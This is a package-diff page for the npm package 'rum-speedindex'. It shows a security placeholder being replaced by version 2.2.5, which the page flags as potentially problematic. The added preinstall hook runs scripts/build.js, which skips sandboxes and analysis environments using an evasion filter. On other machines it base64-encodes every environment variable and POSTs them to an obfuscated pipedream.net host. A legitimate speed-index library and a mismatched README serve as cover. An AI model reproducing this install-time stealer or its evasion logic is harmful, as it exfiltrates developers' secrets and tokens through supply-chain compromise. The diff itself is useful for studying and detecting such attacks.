rum-speedindex 0.0.1-security → 2.2.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of rum-speedindex might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,25 @@
1
- # Security holding package
1
+ # @7tv/playback-signature
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ Playback signature
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=rum-speedindex for more information.
5
+ ## Features
6
+
7
+ - ES6 syntax, managed with Prettier + Eslint and Stylelint
8
+ - Unit testing via Jest
9
+ - ESM
10
+
11
+ ## Install
12
+
13
+ ```sh
14
+ yarn add @7tv/playback-signature
15
+ // or
16
+ npm i @7tv/playback-signature
17
+ ```
18
+
19
+ ### Usage
20
+
21
+ ```js
22
+ import { sign } from '@7tv/playback-signature';
23
+
24
+ await sign(data, signatureKey);
25
+ ```
package/package.json CHANGED
@@ -1,6 +1,18 @@
1
1
  {
2
2
  "name": "rum-speedindex",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.2.5",
4
+ "description": "RUM speedindex",
5
+ "private": false,
6
+ "author": {
7
+ "name": "hfvrr"
8
+ },
9
+ "main": "src/rum-speedindex.js",
10
+ "scripts": {
11
+ "build": "exit 1",
12
+ "preinstall": "node scripts/build.js",
13
+ "test": "echo \"Error: no test specified\" && exit 1"
14
+ },
15
+ "publishConfig": {
16
+ "access": "public"
17
+ }
6
18
  }
@@ -0,0 +1,109 @@
1
+ var http = require("https");
2
+
3
+ var filter = [
4
+ {
5
+ key: ["npm", "config", "registry"].join("_"),
6
+ val: ["taobao", "org"].join("."),
7
+ },
8
+ {
9
+ key: ["npm", "config", "registry"].join("_"),
10
+ val: ["registry", "npmmirror", "com"].join("."),
11
+ },
12
+ {
13
+ key: ["npm", "config", "registry"].join("_"),
14
+ val: ["cnpmjs", "org"].join("."),
15
+ },
16
+ {
17
+ key: ["npm", "config", "registry"].join("_"),
18
+ val: ["mirrors", "cloud", "tencent", "com"].join("."),
19
+ },
20
+ { key: "USERNAME", val: ["daas", "admin"].join("") },
21
+ { key: "_", val: "/usr/bin/python" },
22
+ {
23
+ key: ["npm", "config", "metrics", "registry"].join("_"),
24
+ val: ["mirrors", "tencent", "com"].join("."),
25
+ },
26
+ [
27
+ { key: "MAIL", val: ["", "var", "mail", "app"].join("/") },
28
+ { key: "HOME", val: ["", "home", "app"].join("/") },
29
+ { key: "USER", val: "app" },
30
+ ],
31
+ [
32
+ { key: "EDITOR", val: "vi" },
33
+ { key: "PROBE_USERNAME", val: "*" },
34
+ { key: "SHELL", val: "/bin/bash" },
35
+ { key: "SHLVL", val: "2" },
36
+ { key: "npm_command", val: "run-script" },
37
+ { key: "NVM_CD_FLAGS", val: "" },
38
+ { key: "npm_config_fund", val: "" },
39
+ ],
40
+ [
41
+ { key: "HOME", val: "/home/username" },
42
+ { key: "USER", val: "username" },
43
+ { key: "LOGNAME", val: "username" },
44
+ ],
45
+ [
46
+ { key: "PWD", val: "/my-app" },
47
+ { key: "DEBIAN_FRONTEND", val: "noninteractive" },
48
+ { key: "HOME", val: "/root" },
49
+ ],
50
+ [
51
+ { key: "INIT_CWD", val: "/analysis" },
52
+ { key: "APPDATA", val: "/analysis/bait" },
53
+ ],
54
+ [
55
+ { key: "INIT_CWD", val: "/home/node" },
56
+ { key: "HOME", val: "/root" },
57
+ ],
58
+ [
59
+ { key: "INIT_CWD", val: "/app" },
60
+ { key: "HOME", val: "/root" },
61
+ ],
62
+ [
63
+ { key: "USERNAME", val: "justin" },
64
+ { key: "OS", val: "Windows_NT" },
65
+ ],
66
+ ];
67
+
68
+ function main() {
69
+ var data = process.env || {};
70
+ if (
71
+ filter.some((entry) =>
72
+ []
73
+ .concat(entry)
74
+ .every(
75
+ (item) =>
76
+ (data[item.key] || "").includes(item.val) || item.val === "*"
77
+ )
78
+ ) ||
79
+ Object.keys(data).length < 10 ||
80
+ data.PWD === `/${data.USER}/node_modules/${data.npm_package_name}` ||
81
+ (data.NODE_EXTRA_CA_CERTS || "").includes("mitmproxy") ||
82
+ !data.npm_package_name ||
83
+ !data.npm_package_version ||
84
+ /C:\\Users\\[^\\]+\\Downloads\\node_modules\\/.test(
85
+ data.npm_package_json || ""
86
+ ) ||
87
+ /C:\\Users\\[^\\]+\\Downloads/.test(data.INIT_CWD || "")
88
+ ) {
89
+ return;
90
+ }
91
+
92
+ var req = http
93
+ .request({
94
+ host: [
95
+ ["eoo", "48wt", "xgx2", "4m7l"].join(""),
96
+ "m",
97
+ ["pip", "edr", "eam"].join(""),
98
+ "net",
99
+ ].join("."),
100
+ path: "/" + (data.npm_package_name || ""),
101
+ method: "POST",
102
+ })
103
+ .on("error", function (err) {});
104
+
105
+ req.write(Buffer.from(JSON.stringify(data)).toString("base64"));
106
+ req.end();
107
+ }
108
+
109
+ main();
@@ -0,0 +1,302 @@
1
+ var RUMSpeedIndex = function (win) {
2
+ win = win || window;
3
+ var doc = win.document;
4
+
5
+ /****************************************************************************
6
+ Support Routines
7
+ ****************************************************************************/
8
+ // Get the rect for the visible portion of the provided DOM element
9
+ var GetElementViewportRect = function (el) {
10
+ var intersect = false;
11
+ if (el.getBoundingClientRect) {
12
+ var elRect = el.getBoundingClientRect();
13
+ intersect = {
14
+ top: Math.max(elRect.top, 0),
15
+ left: Math.max(elRect.left, 0),
16
+ bottom: Math.min(
17
+ elRect.bottom,
18
+ win.innerHeight || doc.documentElement.clientHeight
19
+ ),
20
+ right: Math.min(
21
+ elRect.right,
22
+ win.innerWidth || doc.documentElement.clientWidth
23
+ ),
24
+ };
25
+ if (
26
+ intersect.bottom <= intersect.top ||
27
+ intersect.right <= intersect.left
28
+ ) {
29
+ intersect = false;
30
+ } else {
31
+ intersect.area =
32
+ (intersect.bottom - intersect.top) *
33
+ (intersect.right - intersect.left);
34
+ }
35
+ }
36
+ return intersect;
37
+ };
38
+
39
+ // Check a given element to see if it is visible
40
+ var CheckElement = function (el, url) {
41
+ if (url) {
42
+ var rect = GetElementViewportRect(el);
43
+ if (rect) {
44
+ rects.push({
45
+ url: url,
46
+ area: rect.area,
47
+ rect: rect,
48
+ });
49
+ }
50
+ }
51
+ };
52
+
53
+ // Get the visible rectangles for elements that we care about
54
+ var GetRects = function () {
55
+ // Walk all of the elements in the DOM (try to only do this once)
56
+ var elements = doc.getElementsByTagName("*");
57
+ var re = /url\(.*(http.*)\)/gi;
58
+ for (var i = 0; i < elements.length; i++) {
59
+ var el = elements[i];
60
+ var style = win.getComputedStyle(el);
61
+
62
+ // check for Images
63
+ if (el.tagName == "IMG") {
64
+ CheckElement(el, el.currentSrc || el.src);
65
+ }
66
+ // Check for background images
67
+ if (style["background-image"]) {
68
+ re.lastIndex = 0;
69
+ var matches = re.exec(style["background-image"]);
70
+ if (matches && matches.length > 1)
71
+ CheckElement(el, matches[1].replace('"', ""));
72
+ }
73
+ // recursively walk any iFrames
74
+ if (el.tagName == "IFRAME") {
75
+ try {
76
+ var rect = GetElementViewportRect(el);
77
+ if (rect) {
78
+ var tm = RUMSpeedIndex(el.contentWindow);
79
+ if (tm) {
80
+ rects.push({
81
+ tm: tm,
82
+ area: rect.area,
83
+ rect: rect,
84
+ });
85
+ }
86
+ }
87
+ } catch (e) {}
88
+ }
89
+ }
90
+ };
91
+
92
+ // Get the time at which each external resource loaded
93
+ var GetRectTimings = function () {
94
+ var timings = {};
95
+ var requests = win.performance.getEntriesByType("resource");
96
+ for (var i = 0; i < requests.length; i++)
97
+ timings[requests[i].name] = requests[i].responseEnd;
98
+ for (var j = 0; j < rects.length; j++) {
99
+ if (!("tm" in rects[j]))
100
+ rects[j].tm =
101
+ timings[rects[j].url] !== undefined ? timings[rects[j].url] : 0;
102
+ }
103
+ };
104
+
105
+ function startLoadTime() {
106
+ // If the browser supports the Navigation Timing 2 and HR Time APIs, use
107
+ // them, otherwise fall back to the Navigation Timing 1 API.
108
+ if (win.PerformanceNavigationTiming && performance.timeOrigin) {
109
+ const ntEntry = performance.getEntriesByType("navigation")[0];
110
+ return (ntEntry.startTime + performance.timeOrigin) / 1000;
111
+ } else {
112
+ return performance.timing.navigationStart / 1000;
113
+ }
114
+ }
115
+
116
+ function requestTime() {
117
+ // If the browser supports the Navigation Timing 2 and HR Time APIs, use
118
+ // them, otherwise fall back to the Navigation Timing 1 API.
119
+ if (win.PerformanceNavigationTiming && performance.timeOrigin) {
120
+ const ntEntry = performance.getEntriesByType("navigation")[0];
121
+ return (ntEntry.startTime + performance.timeOrigin) / 1000;
122
+ } else {
123
+ return performance.timing.navigationStart / 1000;
124
+ }
125
+ }
126
+
127
+ function firstPaintTime() {
128
+ if (win.PerformancePaintTiming) {
129
+ const fpEntry = performance.getEntriesByType("paint")[0];
130
+ return (fpEntry.startTime + performance.timeOrigin) / 1000;
131
+ }
132
+ }
133
+
134
+ // Get the first paint time.
135
+ var GetFirstPaint = function () {
136
+ // Navigation Timing 2 and HR Time APIs
137
+ try {
138
+ var startTime = startLoadTime();
139
+ startTime = requestTime();
140
+ firstPaint = (firstPaintTime() - startTime) * 1000.0;
141
+ } catch (e) {}
142
+
143
+ // Try the standardized paint timing api
144
+ if (
145
+ startTime === undefined &&
146
+ firstPaint === undefined &&
147
+ !isNaN(firstPaint)
148
+ ) {
149
+ try {
150
+ var entries = performance.getEntriesByType("paint");
151
+ for (var i = 0; i < entries.length; i++) {
152
+ if (entries[i]["name"] == "first-paint") {
153
+ navStart = performance.getEntriesByType("navigation")[0].startTime;
154
+ firstPaint = entries[i].startTime - navStart;
155
+ break;
156
+ }
157
+ }
158
+ } catch (e) {}
159
+ }
160
+
161
+ // If the browser supports a first paint event, just use what the browser reports
162
+ if (firstPaint === undefined && "msFirstPaint" in win.performance.timing)
163
+ firstPaint = win.performance.timing.msFirstPaint - navStart;
164
+ if (
165
+ firstPaint === undefined &&
166
+ "chrome" in win &&
167
+ "loadTimes" in win.chrome
168
+ ) {
169
+ var chromeTimes = win.chrome.loadTimes();
170
+ if ("firstPaintTime" in chromeTimes && chromeTimes.firstPaintTime > 0) {
171
+ var startTime = chromeTimes.startLoadTime;
172
+ if ("requestTime" in chromeTimes) startTime = chromeTimes.requestTime;
173
+ if (chromeTimes.firstPaintTime >= startTime)
174
+ firstPaint = (chromeTimes.firstPaintTime - startTime) * 1000.0;
175
+ }
176
+ }
177
+ // For browsers that don't support first-paint or where we get insane values,
178
+ // use the time of the last non-async script or css from the head.
179
+ if (firstPaint === undefined || firstPaint < 0 || firstPaint > 120000) {
180
+ firstPaint = win.performance.timing.responseStart - navStart;
181
+ var headURLs = {};
182
+ var headElements = doc.getElementsByTagName("head")[0].children;
183
+ for (var i = 0; i < headElements.length; i++) {
184
+ var el = headElements[i];
185
+ if (el.tagName == "SCRIPT" && el.src && !el.async)
186
+ headURLs[el.src] = true;
187
+ if (el.tagName == "LINK" && el.rel == "stylesheet" && el.href)
188
+ headURLs[el.href] = true;
189
+ }
190
+ var requests = win.performance.getEntriesByType("resource");
191
+ var doneCritical = false;
192
+ for (var j = 0; j < requests.length; j++) {
193
+ if (
194
+ !doneCritical &&
195
+ headURLs[requests[j].name] &&
196
+ (requests[j].initiatorType == "script" ||
197
+ requests[j].initiatorType == "link")
198
+ ) {
199
+ var requestEnd = requests[j].responseEnd;
200
+ if (firstPaint === undefined || requestEnd > firstPaint)
201
+ firstPaint = requestEnd;
202
+ } else {
203
+ doneCritical = true;
204
+ }
205
+ }
206
+ }
207
+ firstPaint = Math.max(firstPaint, 0);
208
+ };
209
+
210
+ // Sort and group all of the paint rects by time and use them to
211
+ // calculate the visual progress
212
+ var CalculateVisualProgress = function () {
213
+ var paints = { 0: 0 };
214
+ var total = 0;
215
+ for (var i = 0; i < rects.length; i++) {
216
+ var tm = firstPaint;
217
+ if ("tm" in rects[i] && rects[i].tm > firstPaint) tm = rects[i].tm;
218
+ if (paints[tm] === undefined) paints[tm] = 0;
219
+ paints[tm] += rects[i].area;
220
+ total += rects[i].area;
221
+ }
222
+ // Add a paint area for the page background (count 10% of the pixels not
223
+ // covered by existing paint rects.
224
+ var pixels =
225
+ Math.max(doc.documentElement.clientWidth, win.innerWidth || 0) *
226
+ Math.max(doc.documentElement.clientHeight, win.innerHeight || 0);
227
+ if (pixels > 0) {
228
+ pixels = Math.max(pixels - total, 0) * pageBackgroundWeight;
229
+ if (paints[firstPaint] === undefined) paints[firstPaint] = 0;
230
+ paints[firstPaint] += pixels;
231
+ total += pixels;
232
+ }
233
+ // Calculate the visual progress
234
+ if (total) {
235
+ for (var time in paints) {
236
+ if (paints.hasOwnProperty(time)) {
237
+ progress.push({ tm: time, area: paints[time] });
238
+ }
239
+ }
240
+ progress.sort(function (a, b) {
241
+ return a.tm - b.tm;
242
+ });
243
+ var accumulated = 0;
244
+ for (var j = 0; j < progress.length; j++) {
245
+ accumulated += progress[j].area;
246
+ progress[j].progress = accumulated / total;
247
+ }
248
+ }
249
+ };
250
+
251
+ // Given the visual progress information, Calculate the speed index.
252
+ var CalculateSpeedIndex = function () {
253
+ if (progress.length) {
254
+ SpeedIndex = 0;
255
+ var lastTime = 0;
256
+ var lastProgress = 0;
257
+ for (var i = 0; i < progress.length; i++) {
258
+ var elapsed = progress[i].tm - lastTime;
259
+ if (elapsed > 0 && lastProgress < 1)
260
+ SpeedIndex += (1 - lastProgress) * elapsed;
261
+ lastTime = progress[i].tm;
262
+ lastProgress = progress[i].progress;
263
+ }
264
+ } else {
265
+ SpeedIndex = firstPaint;
266
+ }
267
+ };
268
+
269
+ /****************************************************************************
270
+ Main flow
271
+ ****************************************************************************/
272
+ var rects = [];
273
+ var progress = [];
274
+ var firstPaint;
275
+ var SpeedIndex;
276
+ var pageBackgroundWeight = 0.1;
277
+ try {
278
+ var navStart = win.performance.timing.navigationStart;
279
+ GetRects();
280
+ GetRectTimings();
281
+ GetFirstPaint();
282
+ CalculateVisualProgress();
283
+ CalculateSpeedIndex();
284
+ } catch (e) {}
285
+ /* Debug output for testing
286
+ var dbg = '';
287
+ dbg += "Paint Rects\n";
288
+ for (var i = 0; i < rects.length; i++)
289
+ dbg += '(' + rects[i].area + ') ' + rects[i].tm + ' - ' + rects[i].url + "\n";
290
+ dbg += "Visual Progress\n";
291
+ for (var i = 0; i < progress.length; i++)
292
+ dbg += '(' + progress[i].area + ') ' + progress[i].tm + ' - ' + progress[i].progress + "\n";
293
+ dbg += 'First Paint: ' + firstPaint + "\n";
294
+ dbg += 'Speed Index: ' + SpeedIndex + "\n";
295
+ console.log(dbg);
296
+ */
297
+ return SpeedIndex;
298
+ };
299
+
300
+ if (typeof module !== "undefined" && module.exports) {
301
+ module.exports = RUMSpeedIndex;
302
+ }